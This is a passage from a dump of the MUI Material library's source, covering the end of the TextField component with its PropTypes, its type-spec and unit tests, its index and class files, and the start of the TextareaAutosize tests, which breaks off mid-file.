[SelectSlot, selectProps] = useSlot('select', {\n    elementType: Select,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const nativeSelect = select && selectProps.native;\n\n  const inputAdditionalProps = {};\n  const inputLabelSlotProps = externalForwardedProps.slotProps.inputLabel;\n\n  if (variant === 'outlined') {\n    if (inputLabelSlotProps && typeof inputLabelSlotProps.shrink !== 'undefined') {\n      inputAdditionalProps.notched = inputLabelSlotProps.shrink;\n    }\n    inputAdditionalProps.label = label;\n  }\n  if (select) {\n    // unset defaults from textbox inputs\n    if (!nativeSelect) {\n      inputAdditionalProps.id = undefined;\n    }\n    inputAdditionalProps['aria-describedby'] = undefined;\n  }\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: TextFieldRoot,\n    shouldForwardComponentProp: true,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    className: clsx(classes.root, className),\n    ref,\n    additionalProps: {\n      disabled,\n      error,\n      fullWidth,\n      required,\n      color,\n      variant,\n    },\n  });\n\n  const [InputSlot, inputProps] = useSlot('input', {\n    elementType: InputComponent,\n    externalForwardedProps,\n    additionalProps: inputAdditionalProps,\n    ownerState,\n  });\n\n  const [InputLabelSlot, inputLabelProps] = useSlot('inputLabel', {\n    elementType: InputLabel,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [HtmlInputSlot, htmlInputProps] = useSlot('htmlInput', {\n    elementType: 'input',\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [FormHelperTextSlot, formHelperTextProps] = useSlot('formHelperText', {\n    elementType: FormHelperText,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const InputElement = (\n    <InputSlot\n      aria-describedby={helperTextId}\n      autoComplete={autoComplete}\n      autoFocus={autoFocus}\n      defaultValue={defaultValue}\n      fullWidth={fullWidth}\n      multiline={multiline}\n      name={name}\n      rows={rows}\n      maxRows={maxRows}\n      minRows={minRows}\n      type={type}\n      value={value}\n      id={id}\n      inputRef={inputRef}\n      onBlur={onBlur}\n      onChange={onChange}\n      onFocus={onFocus}\n      placeholder={placeholder}\n      inputProps={htmlInputProps}\n      slots={{\n        input: slots.htmlInput ? HtmlInputSlot : undefined,\n      }}\n      {...inputProps}\n    />\n  );\n\n  return (\n    <RootSlot {...rootProps}>\n      {label != null && label !== '' && (\n        <InputLabelSlot\n          htmlFor={select && !nativeSelect ? undefined : id}\n          id={inputLabelId}\n          {...(select && !nativeSelect && { component: 'div' })}\n          {...inputLabelProps}\n        >\n          {label}\n        </InputLabelSlot>\n      )}\n\n      {select ? (\n        <SelectSlot\n          aria-describedby={helperTextId}\n          id={id}\n          labelId={inputLabelId}\n          value={value}\n          input={InputElement}\n          {...selectProps}\n        >\n          {children}\n        </SelectSlot>\n      ) : (\n        InputElement\n      )}\n\n      {helperText && (\n        <FormHelperTextSlot id={helperTextId} {...formHelperTextProps}>\n          {helperText}\n        </FormHelperTextSlot>\n      )}\n    </RootSlot>\n  );\n});\n\nTextField.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * This prop helps users to fill forms faster, especially on mobile devices.\n   * The name can be confusing, as it's more like an autofill.\n   * You can learn more about it [following the specification](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill).\n   */\n  autoComplete: PropTypes.string,\n  /**\n   * If `true`, the `input` element is focused during the first mount.\n   * @default false\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue: PropTypes.any,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the label is displayed in an error state.\n   * @default false\n   */\n  error: PropTypes.bool,\n  /**\n   * If `true`, the input will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * The helper text content.\n   */\n  helperText: PropTypes.node,\n  /**\n   * The id of the `input` element.\n   * Use this prop to make `label` and `helperText` accessible for screen readers.\n   */\n  id: PropTypes.string,\n  /**\n   * Pass a ref to the `input` element.\n   */\n  inputRef: refType,\n  /**\n   * The label content.\n   */\n  label: PropTypes.node,\n  /**\n   * If `dense` or `normal`, will adjust vertical spacing of this and contained components.\n   * @default 'none'\n   */\n  margin: PropTypes.oneOf(['dense', 'none', 'normal']),\n  /**\n   * Maximum number of rows to display when multiline option is set to true.\n   */\n  maxRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * Minimum number of rows to display when multiline option is set to true.\n   */\n  minRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * If `true`, a `textarea` element is rendered instead of an input.\n   * @default false\n   */\n  multiline: PropTypes.bool,\n  /**\n   * Name attribute of the `input` element.\n   */\n  name: PropTypes.string,\n  /**\n   * @ignore\n   */\n  onBlur: PropTypes.func,\n  /**\n   * Callback fired when the value is changed.\n   *\n   * @param {object} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onFocus: PropTypes.func,\n  /**\n   * The short hint displayed in the `input` before the user enters a value.\n   */\n  placeholder: PropTypes.string,\n  /**\n   * If `true`, the label is displayed as required and the `input` element is required.\n   * @default false\n   */\n  required: PropTypes.bool,\n  /**\n   * Number of rows to display when multiline option is set to true.\n   */\n  rows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * Render a [`Select`](https://mui.com/material-ui/api/select/) element while passing the Input element to `Select` as `input` parameter.\n   * If this option is set you must pass the options of the select as children.\n   * @default false\n   */\n  select: PropTypes.bool,\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes /* @typescript-to-proptypes-ignore */.shape({\n    formHelperText: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    htmlInput: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    input: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    inputLabel: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    select: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    formHelperText: PropTypes.elementType,\n    htmlInput: PropTypes.elementType,\n    input: PropTypes.elementType,\n    inputLabel: PropTypes.elementType,\n    root: PropTypes.elementType,\n    select: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Type of the `input` element. It should be [a valid HTML5 input type](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types).\n   */\n  type: PropTypes.string,\n  /**\n   * The value of the `input` element, required for a controlled component.\n   */\n  value: PropTypes.any,\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant: PropTypes.oneOf(['filled', 'outlined', 'standard']),\n};\n\nexport default TextField;\n"
  },
  {
    "path": "packages/mui-material/src/TextField/TextField.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport { FormHelperTextProps } from '@mui/material/FormHelperText';\n\n{\n  // https://github.com/mui/material-ui/issues/12999\n  const defaulted = (\n    <TextField\n      slotProps={{ input: { classes: { inputTypeSearch: 'search-input', input: 'input' } } }}\n    />\n  );\n  const standard = (\n    <TextField\n      variant=\"standard\"\n      slotProps={{ input: { classes: { inputTypeSearch: 'search-input' } } }}\n    />\n  );\n\n  const StandardInputAdorned = (\n    <TextField\n      variant=\"standard\"\n      slotProps={{\n        input: { classes: { adornedStart: 'search-input', adornedEnd: 'search-input' } },\n      }}\n    />\n  );\n  const DefaultInputAdorned = (\n    <TextField\n      slotProps={{\n        input: { classes: { adornedStart: 'search-input', adornedEnd: 'search-input' } },\n      }}\n    />\n  );\n\n  const outlinedInputTypeSearch = (\n    <TextField\n      variant=\"outlined\"\n      slotProps={{ input: { classes: { inputTypeSearch: 'search-input' } } }}\n    />\n  );\n  const filledInputTypeSearch = (\n    <TextField\n      variant=\"filled\"\n      slotProps={{ input: { classes: { inputTypeSearch: 'search-input' } } }}\n    />\n  );\n  const standardOutlinedClassname = (\n    <TextField\n      variant=\"standard\"\n      slotProps={{\n        input: {\n          // notchedOutline is only used with variant \"outlined\"\n          // FIXME this no longer generates an error in TS 3.2, see https://github.com/Microsoft/TypeScript/issues/28926\n          // classes: { inputTypeSearch: 'search-input', notchedOutline: 'notched-outline' }, // @ts-expect-error\n        },\n      }}\n    />\n  );\n\n  const filled = (\n    <TextField\n      variant=\"filled\"\n      slotProps={{ input: { classes: { adornedStart: 'adorned-start' } } }}\n      onChange={(event) => {\n        // type inference for event still works?\n        const value = event.target.value;\n        expectType<string, typeof value>(value);\n      }}\n    />\n  );\n\n  const outlined = (\n    <TextField\n      variant=\"outlined\"\n      slotProps={{ input: { classes: { notchedOutline: 'notched-outline' } } }}\n    />\n  );\n}\n\n// https://github.com/mui/material-ui/issues/17369#issuecomment-529622304\nfunction FocusHandlerTest() {\n  const inputHandler = React.useCallback((event: React.FocusEvent<HTMLInputElement>) => {}, []);\n  // Probably a decent tradeoff. React.EventHandler being bivariant does allow unsound\n  // types in this case. I should probably be consistent with the strictness stance\n  // but there are increasing issue reports demanding these unsound types to \"write cleaner code\"\n  // so lets see how these are received\n  const input = <TextField onFocus={inputHandler} />;\n\n  // this or a generic `HTMLElement` is probably closer to what we actually use.\n  const valueHandler = React.useCallback((event: React.FocusEvent<{ value: string }>) => {}, []);\n  const textfield = <TextField onFocus={valueHandler} />;\n\n  // sound narrowing with runtime overhead\n  const genericHandler = React.useCallback((event: React.FocusEvent<HTMLElement>) => {\n    if (event.currentTarget instanceof HTMLInputElement) {\n      console.assert(event.currentTarget.value === 'foo');\n    }\n  }, []);\n  const element = <TextField onFocus={genericHandler} />;\n\n  const fieldHandler = React.useCallback(\n    (event: React.FocusEvent<HTMLInputElement | HTMLTextAreaElement>) => {},\n    [],\n  );\n  const field = <TextField onFocus={fieldHandler} />;\n\n  return null;\n}\n\n{\n  const HelperText = ({ children }: FormHelperTextProps) => (\n    <Typography component=\"h6\">{children}</Typography>\n  );\n\n  <TextField\n    sx={{ mt: 4 }}\n    label=\"Enter some stuff\"\n    defaultValue=\"Hello\"\n    helperText=\"Hello, world!\"\n    slotProps={{ formHelperText: { component: HelperText } }}\n  />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/TextField/TextField.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, fireEvent, screen, isJsdom } from '@mui/internal-test-utils';\nimport FormControl from '@mui/material/FormControl';\nimport { inputBaseClasses } from '@mui/material/InputBase';\nimport MenuItem from '@mui/material/MenuItem';\nimport { outlinedInputClasses } from '@mui/material/OutlinedInput';\nimport TextField, { textFieldClasses as classes } from '@mui/material/TextField';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TextField />', () => {\n  const { render } = createRenderer();\n\n  function TestComponent(props) {\n    const { children, className, 'data-testid': testId } = props;\n    return (\n      <div className={className} data-testid={testId ?? 'custom'}>\n        {typeof children === 'function' ? children({}) : children}\n      </div>\n    );\n  }\n\n  function TestFormControl(props) {\n    const { children, error, ...other } = props;\n    return (\n      <FormControl data-testid={'custom'} {...other}>\n        {children}\n      </FormControl>\n    );\n  }\n\n  describeConformance(\n    <TextField variant=\"standard\" helperText=\"Helper text\" label=\"Label\" />,\n    () => ({\n      classes,\n      inheritComponent: FormControl,\n      render,\n      muiName: 'MuiTextField',\n      refInstanceof: window.HTMLDivElement,\n      testVariantProps: { variant: 'outlined' },\n      slots: {\n        input: {\n          testWithComponent: TestComponent,\n          testWithElement: null,\n        },\n        inputLabel: {},\n        htmlInput: {\n          testWithElement: 'input',\n        },\n        formHelperText: {},\n        root: {\n          expectedClassName: classes.root,\n          testWithElement: TestFormControl,\n        },\n      },\n      skip: ['componentProp'],\n    }),\n  );\n\n  describeConformance(\n    <TextField select>\n      <option>A</option>\n    </TextField>,\n    () => ({\n      classes,\n      inheritComponent: FormControl,\n      render,\n      muiName: 'MuiTextField',\n      slots: {\n        select: {\n          testWithComponent: TestComponent,\n          testWithElement: null,\n        },\n      },\n      only: [\n        'slotsProp',\n        'slotPropsProp',\n        'slotPropsCallback', // not supported yet\n        'slotPropsCallbackWithPropsAsOwnerState', // not supported yet\n      ],\n    }),\n  );\n\n  describe('structure', () => {\n    it('should have an input as the only child', () => {\n      render(<TextField variant=\"standard\" />);\n\n      expect(screen.getAllByRole('textbox')).to.have.lengthOf(1);\n    });\n\n    it('should forward the multiline prop to Input', () => {\n      render(\n        <TextField\n          variant=\"standard\"\n          multiline\n          slotProps={{ input: { 'data-testid': 'mui-input-base-root' } }}\n        />,\n      );\n\n      expect(screen.getByTestId('mui-input-base-root')).to.have.class(inputBaseClasses.multiline);\n      expect(screen.getByRole('textbox', { hidden: false })).to.have.class(inputBaseClasses.input);\n    });\n\n    it('should forward the fullWidth prop to Input', () => {\n      render(\n        <TextField\n          variant=\"standard\"\n          fullWidth\n          slotProps={{ input: { 'data-testid': 'mui-input-base-root' } }}\n        />,\n      );\n\n      expect(screen.getByTestId('mui-input-base-root')).to.have.class(inputBaseClasses.fullWidth);\n    });\n  });\n\n  describe('with a label', () => {\n    it('label the input', () => {\n      render(<TextField label=\"Foo bar\" variant=\"standard\" />);\n\n      expect(screen.getByRole('textbox')).toHaveAccessibleName('Foo bar');\n    });\n\n    it('should apply the className to the label', () => {\n      const { container } = render(\n        <TextField\n          label=\"Foo bar\"\n          slotProps={{ inputLabel: { className: 'foo' } }}\n          variant=\"standard\"\n        />,\n      );\n\n      expect(container.querySelector('label')).to.have.class('foo');\n    });\n\n    ['', undefined].forEach((label) => {\n      it(`should not render empty (${label}) label element`, () => {\n        const { container } = render(<TextField label={label} variant=\"standard\" />);\n\n        expect(container.querySelector('label')).to.equal(null);\n      });\n    });\n  });\n\n  describe('with a helper text', () => {\n    it('should apply the className to the FormHelperText', () => {\n      const { getDescriptionOf } = render(\n        <TextField\n          helperText=\"Foo bar\"\n          slotProps={{ formHelperText: { className: 'foo' } }}\n          variant=\"standard\"\n        />,\n      );\n\n      expect(getDescriptionOf(screen.getByRole('textbox'))).to.have.class('foo');\n    });\n\n    it('has an accessible description', () => {\n      render(\n        <TextField\n          helperText=\"Foo bar\"\n          slotProps={{ formHelperText: { className: 'foo' } }}\n          variant=\"standard\"\n        />,\n      );\n\n      expect(screen.getByRole('textbox')).toHaveAccessibleDescription('Foo bar');\n    });\n  });\n\n  describe('with an outline', () => {\n    it('should set outline props', () => {\n      const { container } = render(\n        <TextField\n          slotProps={{ input: { classes: { notchedOutline: 'notch' } } }}\n          label={<div data-testid=\"label\">label</div>}\n          required\n        />,\n      );\n\n      const [, fakeLabel] = screen.getAllByTestId('label');\n      const notch = container.querySelector('.notch legend');\n      expect(notch).to.contain(fakeLabel);\n      expect(notch).to.have.text('label\\u2009*');\n    });\n\n    it('should set shrink prop on outline from label', () => {\n      const { container } = render(\n        <TextField slotProps={{ inputLabel: { shrink: true } }} classes={{}} />,\n      );\n\n      expect(container.querySelector('fieldset')).to.have.class(\n        outlinedInputClasses.notchedOutline,\n      );\n    });\n\n    it('should render `0` label properly', () => {\n      const { container } = render(\n        <TextField\n          slotProps={{ input: { classes: { notchedOutline: 'notch' } } }}\n          label={0}\n          required\n        />,\n      );\n\n      const notch = container.querySelector('.notch legend');\n      expect(notch).to.have.text('0\\u2009*');\n    });\n\n    it.skipIf(isJsdom())(\n      'should not set padding for empty, null or undefined label props',\n      function test() {\n        const spanStyle = { paddingLeft: '0px', paddingRight: '0px' };\n        ['', undefined, null].forEach((prop) => {\n          const { container: container1 } = render(\n            <TextField\n              slotProps={{ input: { classes: { notchedOutline: 'notch' } } }}\n              label={prop}\n            />,\n          );\n          expect(container1.querySelector('span')).toHaveComputedStyle(spanStyle);\n        });\n      },\n    );\n  });\n\n  describe('prop: InputProps', () => {\n    it('should apply additional props to the Input component', () => {\n      render(\n        <TextField slotProps={{ input: { 'data-testid': 'InputComponent' } }} variant=\"standard\" />,\n      );\n\n      expect(screen.getByTestId('InputComponent')).not.to.equal(null);\n    });\n  });\n\n  describe('prop: select', () => {\n    it('can render a <select /> when `native`', () => {\n      const currencies = [\n        { value: 'USD', label: '$' },\n        { value: 'BTC', label: '฿' },\n      ];\n\n      const { container } = render(\n        <TextField select slotProps={{ select: { native: true } }} variant=\"standard\">\n          {currencies.map((option) => (\n            <option key={option.value} value={option.value}>\n              {option.label}\n            </option>\n          ))}\n        </TextField>,\n      );\n\n      const select = container.querySelector('select');\n      expect(select).not.to.equal(null);\n      expect(select.options).to.have.lengthOf(2);\n    });\n\n    it('associates the label with the <select /> when `native={true}`', () => {\n      render(\n        <TextField\n          label=\"Currency:\"\n          select\n          slotProps={{ select: { native: true } }}\n          value=\"$\"\n          variant=\"standard\"\n        >\n          <option value=\"dollar\">$</option>\n        </TextField>,\n      );\n\n      expect(screen.getByRole('combobox', { name: 'Currency:' })).to.have.property(\n        'value',\n        'dollar',\n      );\n    });\n\n    it('renders a combobox with the appropriate accessible name', () => {\n      render(\n        <TextField select label=\"Release: \" value=\"stable\" variant=\"standard\">\n          <MenuItem value=\"alpha\">Alpha</MenuItem>\n          <MenuItem value=\"beta\">Beta</MenuItem>\n          <MenuItem value=\"stable\">Stable</MenuItem>\n        </TextField>,\n      );\n\n      expect(screen.getByRole('combobox')).toHaveAccessibleName('Release:');\n    });\n\n    it('renders the label as a <div> without htmlFor when select', () => {\n      render(\n        <TextField select label=\"Release\" value=\"stable\" variant=\"standard\">\n          <MenuItem value=\"stable\">Stable</MenuItem>\n        </TextField>,\n      );\n\n      const labelElement = screen.getByText('Release');\n      expect(labelElement.tagName).to.equal('DIV');\n      expect(labelElement).not.to.have.attribute('for');\n\n      const combobox = screen.getByRole('combobox');\n      expect(combobox).to.have.attribute('aria-labelledby');\n      expect(combobox.getAttribute('aria-labelledby')).to.include(labelElement.id);\n    });\n\n    it('renders the label as a <div> when native is set via slotProps', () => {\n      render(\n        <TextField\n          select\n          label=\"Release\"\n          value=\"stable\"\n          variant=\"standard\"\n          slotProps={{ select: { native: false } }}\n        >\n          <MenuItem value=\"stable\">Stable</MenuItem>\n        </TextField>,\n      );\n\n      const labelElement = screen.getByText('Release');\n      expect(labelElement.tagName).to.equal('DIV');\n      expect(labelElement).not.to.have.attribute('for');\n\n      const combobox = screen.getByRole('combobox');\n      expect(combobox.getAttribute('aria-labelledby')).to.include(labelElement.id);\n    });\n\n    it('renders the label as a <label> with htmlFor for native select via slotProps', () => {\n      render(\n        <TextField\n          select\n          label=\"Release\"\n          value=\"stable\"\n          variant=\"standard\"\n          slotProps={{ select: { native: true } }}\n        >\n          <option value=\"stable\">Stable</option>\n        </TextField>,\n      );\n\n      const labelElement = screen.getByText('Release');\n      expect(labelElement.tagName).to.equal('LABEL');\n      expect(labelElement).to.have.attribute('for');\n    });\n\n    it('creates an input[hidden] that has no accessible properties besides id', () => {\n      const { container } = render(\n        <TextField select label=\"Release: \" value=\"stable\" variant=\"standard\">\n          <MenuItem value=\"stable\">Stable</MenuItem>\n        </TextField>,\n      );\n\n      const input = container.querySelector('input[aria-hidden]');\n      expect(input).to.have.attribute('id');\n      expect(input).not.to.have.attribute('aria-describedby');\n    });\n\n    it('renders a combobox with the appropriate accessible description', () => {\n      render(\n        <TextField select helperText=\"Foo bar\" value=\"10\">\n          <MenuItem value={10}>Ten</MenuItem>\n        </TextField>,\n      );\n\n      expect(screen.getByRole('combobox')).toHaveAccessibleDescription('Foo bar');\n    });\n  });\n\n  describe('event: click', () => {\n    it('registers `onClick` on the root slot', () => {\n      const handleClick = spy((event) => event.currentTarget);\n\n      render(<TextField data-testid=\"root\" onClick={handleClick} />);\n\n      const input = screen.getByRole('textbox');\n\n      const root = screen.getByTestId('root');\n\n      fireEvent.click(input);\n\n      expect(handleClick.callCount).to.equal(1);\n      // return value is event.currentTarget\n      expect(handleClick.returned(root)).to.equal(true);\n    });\n  });\n\n  describe('prop: inputProps', () => {\n    it('should apply additional props to the input element', () => {\n      render(<TextField slotProps={{ htmlInput: { 'data-testid': 'input-element' } }} />);\n\n      expect(screen.getByRole('textbox')).to.have.attribute('data-testid', 'input-element');\n    });\n  });\n\n  describe('autofill', () => {\n    it('should be filled after auto fill event', () => {\n      function AutoFillComponentTest() {\n        const [value, setValue] = React.useState('');\n        return (\n          <TextField\n            value={value}\n            onChange={(event) => setValue(event.target.value)}\n            label=\"test\"\n            variant=\"standard\"\n            slotProps={{\n              htmlInput: { 'data-testid': 'htmlInput' },\n              inputLabel: { 'data-testid': 'label' },\n            }}\n          />\n        );\n      }\n\n      render(<AutoFillComponentTest />);\n      fireEvent.animationStart(screen.getByTestId('htmlInput'), { animationName: 'mui-auto-fill' });\n      expect(screen.getByTestId('label').getAttribute('data-shrink')).to.equal('true');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TextField/index.d.ts",
    "content": "export { default } from './TextField';\nexport * from './TextField';\n\nexport { default as textFieldClasses } from './textFieldClasses';\nexport * from './textFieldClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TextField/index.js",
    "content": "export { default } from './TextField';\n\nexport { default as textFieldClasses } from './textFieldClasses';\nexport * from './textFieldClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TextField/textFieldClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TextFieldClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type TextFieldClassKey = keyof TextFieldClasses;\n\nexport function getTextFieldUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTextField', slot);\n}\n\nconst textFieldClasses: TextFieldClasses = generateUtilityClasses('MuiTextField', ['root']);\n\nexport default textFieldClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TextareaAutosize/TextareaAutosize.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport sinon, { spy, stub } from 'sinon';\nimport { act, screen, waitFor, createRenderer, fireEvent, isJsdom } from '@mui/internal-test-utils';\nimport TextareaAutosize from '@mui/material/TextareaAutosize';\n\nfunction getStyleValue(value: string) {\n  return parseInt(value, 10) || 0;\n}\n\n// TODO: merge into a shared test helpers.\n// MUI X already have one under mui-x/test/utils/helperFn.ts\nfunction sleep(duration: number): Promise<void> {\n  return new Promise<void>((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\nasync function raf() {\n  return new Promise<void>((resolve) => {\n    // Chrome and Safari have a bug where calling rAF once returns the current\n    // frame instead of the next frame, so we need to call a double rAF here.\n    // See crbug.com/675795 for more.\n    requestAnimationFrame(() => {\n      requestAnimationFrame(() => {\n        resolve();\n      });\n    });\n  });\n}\n\ndescribe('<TextareaAutosize />', () => {\n  const { clock, render } = createRenderer();\n\n  // For https://github.com/mui/material-ui/pull/33238\n  it('should not crash when unmounting with Suspense', async () => {\n    const LazyRoute = React.lazy(() => {\n      // Force react to show fallback suspense\n      return new Promise<any>((resolve) => {\n        setTimeout(() => {\n          resolve({\n            default: () => <div>LazyRoute</div>,\n          });\n        }, 0);\n      });\n    });\n\n    function App() {\n      const [toggle, setToggle] = React.useState(false);\n\n      return (\n        <React.Suspense fallback={null}>\n          <button onClick={() => setToggle((r) => !r)}>Toggle</button>\n          {toggle ? <LazyRoute /> : <TextareaAutosize />}\n        </React.Suspense>\n      );\n    }\n\n    render(<App />);\n    const button = screen.getByRole('button');\n    fireEvent.click(button);\n    await waitFor(() => {\n      expect(screen.queryByText('LazyRoute')).not.to.equal(null);\n    });\n  });\n\n  // For https://github.com/mui/material-ui/pull/33253\n  it('should update height without an infinite rendering loop', async () => {\n    function App() {\n      const [value, setValue] = React.useState('Controlled');\n\n      const handleChange = (event: React.ChangeEvent<any>) => {\n        setValue(event.target.value);\n      };\n\n      return <TextareaAutosize value={value} onChange={handleChange} />;\n    }\n    render(<App />);\n    const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n      hidden: false,\n    });\n    act(() => {\n      input.focus();\n    });\n    const activeElement = document.activeElement!;\n    // set the value of the input to be 1 larger than its content width\n    fireEvent.change(activeElement, {\n      target: { value: 'Controlled\\n' },\n    });\n    await sleep(0);\n    fireEvent.change(activeElement, {\n      target: { value: 'Controlled\\n\\n' },\n    });\n  });\n\n  // For https://github.com/mui/material-ui/pull/37135\n  // It depends on ResizeObserver\n  it.skipIf(isJsdom())('should update height without delay', async function test() {\n    function App() {\n      const ref = React.useRef<HTMLTextAreaElement>(null);\n      return (\n        <div>\n          <button\n            onClick={() => {\n              ref.current!.style.width = '250px';\n            }}\n          >\n            change\n          </button>\n          <div>\n            <TextareaAutosize\n              ref={ref}\n              style={{\n                width: 150,\n                padding: 0,\n                fontSize: 14,\n                lineHeight: '15px',\n                border: '1px solid',\n              }}\n              defaultValue=\"qdzqzd qzd qzd qzd qz dqz\"\n            />\n          </div>\n        </div>\n      );\n    }\n    render(<App />);\n    const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n      hidden: false,\n    });\n    const button = screen.getByRole('button');\n    expect(parseInt(input.style.height, 10)).to.be.within(30, 32);\n    fireEvent.click(button);\n    await raf();\n    await raf();\n    expect(parseInt(input.style.height, 10)).to.be.within(15, 17);\n  });\n\n  describe.skipIf(!isJsdom())('layout', () => {\n    const getComputedStyleStub = new Map<Element, Partial<CSSStyleDeclaration>>();\n    function setLayout(\n      input: HTMLTextAreaElement,\n      shadow: Element,\n      {\n        getComputedStyle,\n        scrollHeight: scrollHeightArg,\n        lineHeight: lineHeightArg,\n      }: {\n        getComputedStyle: Partial<CSSStyleDeclaration>;\n        scrollHeight?: number | (() => number);\n        lineHeight?: number | (() => number);\n      },\n    ) {\n      const lineHeight = typeof lineHeightArg === 'function' ? lineHeightArg : () => lineHeightArg;\n      const scrollHeight =\n        typeof scrollHeightArg === 'function' ? scrollHeightArg : () => scrollHeightArg;\n\n      getComputedStyleStub.set(input, getComputedStyle);\n\n      let index = 0;\n      stub(shadow, 'scrollHeight').get(() => {\n        index += 1;\n        return index % 2 === 1 ? scrollHeight() : lineHeight();\n      });\n    }\n\n    beforeAll(function beforeHook() {\n      stub(window, 'getComputedStyle').value(\n        (node: Element) => getComputedStyleStub.get(node) || {},\n      );\n    });\n\n    afterAll(() => {\n      sinon.restore();\n    });\n\n    describe('resize', () => {\n      clock.withFakeTimers();\n\n      it('should handle the resize event', () => {\n        render(<TextareaAutosize />);\n        const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n          hidden: false,\n        });\n        const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n          hidden: true,\n        })[1];\n\n        expect(input.style).to.have.property('height', '0px');\n        expect(input.style).to.have.property('overflow', 'hidden');\n\n        setLayout(input, shadow, {\n          getComputedStyle: {\n            boxSizing: 'content-box',\n          },\n          scrollHeight: 30,\n          lineHeight: 15,\n        });\n        window.dispatchEvent(new window.Event('resize', {}));\n\n        clock.tick(166);\n\n        expect(input.style).to.have.property('height', '30px');\n        expect(input.style).to.have.property('overflow', 'hidden');\n      });\n    });\n\n    it('should update when uncontrolled', () => {\n      const handleChange = spy();\n      render(<TextareaAutosize onChange={handleChange} />);\n      const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n        hidden: false,\n      });\n      const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n        hidden: true,\n      })[1];\n      expect(input.style).to.have.property('height', '0px');\n      expect(input.style).to.have.property('overflow', 'hidden');\n      setLayout(input, shadow, {\n        getComputedStyle: {\n          boxSizing: 'content-box',\n        },\n        scrollHeight: 30,\n        lineHeight: 15,\n      });\n      act(() => {\n        input.focus();\n      });\n      const activeElement = document.activeElement!;\n      fireEvent.change(activeElement, { target: { value: 'a' } });\n      expect(input.style).to.have.property('height', '30px');\n      expect(input.style).to.have.property('overflow', 'hidden');\n      expect(handleChange.callCount).to.equal(1);\n    });\n\n    it('should take the border into account with border-box', () => {\n      const border = 5;\n      const { forceUpdate } = render(<TextareaAutosize />);\n      const input = screen.getByRole<HTMLTextAreaElement>('textbox', {\n        hidden: false,\n      });\n      const shadow = screen.getAllByRole<HTMLTextAreaElement>('textbox', {\n        hidden: true,\n      })[1];\n      expect(input.style).to.have.property('height', '0px');\n      expect(input.style).to.have.property('overflow', 'hidden');\n      setLayout(input, shadow, {\n        getComputedStyle: {\n     